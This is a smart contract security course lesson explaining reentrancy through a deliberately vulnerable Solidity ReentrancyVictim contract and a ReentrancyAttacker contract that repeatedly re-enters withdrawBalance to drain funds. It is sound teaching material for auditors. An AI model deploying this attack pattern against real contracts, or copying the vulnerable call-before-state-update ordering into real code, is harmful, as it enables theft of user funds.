_Follow along with this video:_ --- Let's see if we can nail down this vulnerability. When we'd run `Slither` earlier, you may recall it had actually found something... Run it again and we'll have a closer look. ```bash slither . ``` Looking through the output, we can see `Slither` is in fact detecting things in our `refund` function! ::image{src='/security-section-4/18-exploit-reentrancy/exploit-reentrancy1.png' style='width: 75%; height: auto;'} ### What is a re-entrancy attack and how does it work? For this lesson we'll be heavily leaning on our [**sc-exploits-minimized**](https://github.com/Cyfrin/sc-exploits-minimized) repo for diagrams and examples to reference. Be sure to clone it so you can see how these vulnerabilities work locally. Here's our example contract: ```js contract ReentrancyVictim { mapping(address => uint256) public userBalance; function deposit() public payable { userBalance[msg.sender] += msg.value; } function withdrawBalance() public { uint256 balance = userBalance[msg.sender]; // An external call and then a state change! // External call (bool success,) = msg.sender.call{value: balance}(""); if (!success) { revert(); } // State change userBalance[msg.sender] = 0; } } ``` Fairly simple. Under normal circumstances User A (balance 10 ether) can deposit funds 1. deposit{value: 10 ether} :bruserBalance[UserA] = 10 ether :brcontract balance = 10 ether :brUser A balance = 0 ether And then withdraw them 2. withdrawBalance :bruserBalance[UserA] = 0 ether :brcontract balance = 0 ether :brUser A balance = 10 ether The order of operations is reeally important in these situations. In our `withdrawBalance` function, we see that the function is making an external call _before_ updating the state of the contract. What this means, is that an attacker could have that external call be made in such a way that it triggers a call of the `withdrawBalance` function again (hence - reentrancy). ```js contract ReentrancyAttacker { ReentrancyVictim victim; constructor(ReentrancyVictim _victim) { victim = _victim; } function attack() public payable { victim.deposit{value: 1 ether}(); victim.withdrawBalance(); } receive() external payable { if (address(victim).balance >= 1 ether) { victim.withdrawBalance(); } } } ``` Consider the above attack contract. Seems pretty benign, but let's walk through what's actually happening. 1. Attacker calls the attack function which deposits 1 ether, then immediately withdraws it. ```js function attack() public payable { victim.deposit{value: 1 ether}(); victim.withdrawBalance(); } ``` 2. The `ReentrancyVictim` contract does what's it's supposed to and received the deposit, then processs the withdrawal. During this process the victim contract makes a call to the attacker's contract. **NOTE: THIS IS BEFORE OUR BALANCE HAS BEEN UPDATED** ```js (bool success,) = msg.sender.call{value: balance}(""); if (!success) { revert(); } ``` What happens when a contract receives value? It's going have it's receive/fallback functions triggered. And what does our Attacker's receive function look like? ```js receive() external payable { if (address(victim).balance >= 1 ether) { victim.withdrawBalance(); } } ``` It calls the `withdrawBalance` function again! Because our previous `withdrawBalance` hasn't updated our balance yet, the contract will happily let us withdraw again.. and again .. and again until all funds are drained. Let's look at this all put together. ::image{src='/security-section-4/18-exploit-reentrancy/exploit-reentrancy2.png' style='width: 75%; height: auto;'} ### Wrap Up Re-entrancy is a a big deal and it's very impactful when it happens. We're really going to nail down our understanding of this attack vector before moving on. At it's most minimalistic, re-entrancy generates a loop that continually drains funds from a protocol. ::image{src='/security-section-4/18-exploit-reentrancy/exploit-reentrancy3.png' style='width: 75%; height: auto;'} Our next lesson is going to be a hands on example of this vulnerability in Remix. Let's see what this exploit is like in action.
Reentrancy Attack in PuppyRaffle: Deposit-Withdraw Loop Steals Funds
Previous lesson
Previous
Next lesson
Next
Give us feedback
Solidity Developer
Smart Contract SecurityDuration: 25min
Duration: 1h 18min
Duration: 35min
Duration: 2h 16min
Duration: 5h 03min
Duration: 5h 22min
Duration: 4h 33min
Duration: 2h 01min
Duration: 1h 40min
Testimonials
Read what our students have to say about this course.
Chainlink
Chainlink
Gustavo Gonzalez
Solutions Engineer at OpenZeppelin
Francesco Andreoli
Lead Devrel at Metamask
Albert Hu
DeForm Founding Engineer
Radek
Senior Developer Advocate at Ceramic
Boidushya
WalletConnect
Idris
Developer Relations Engineer at Axelar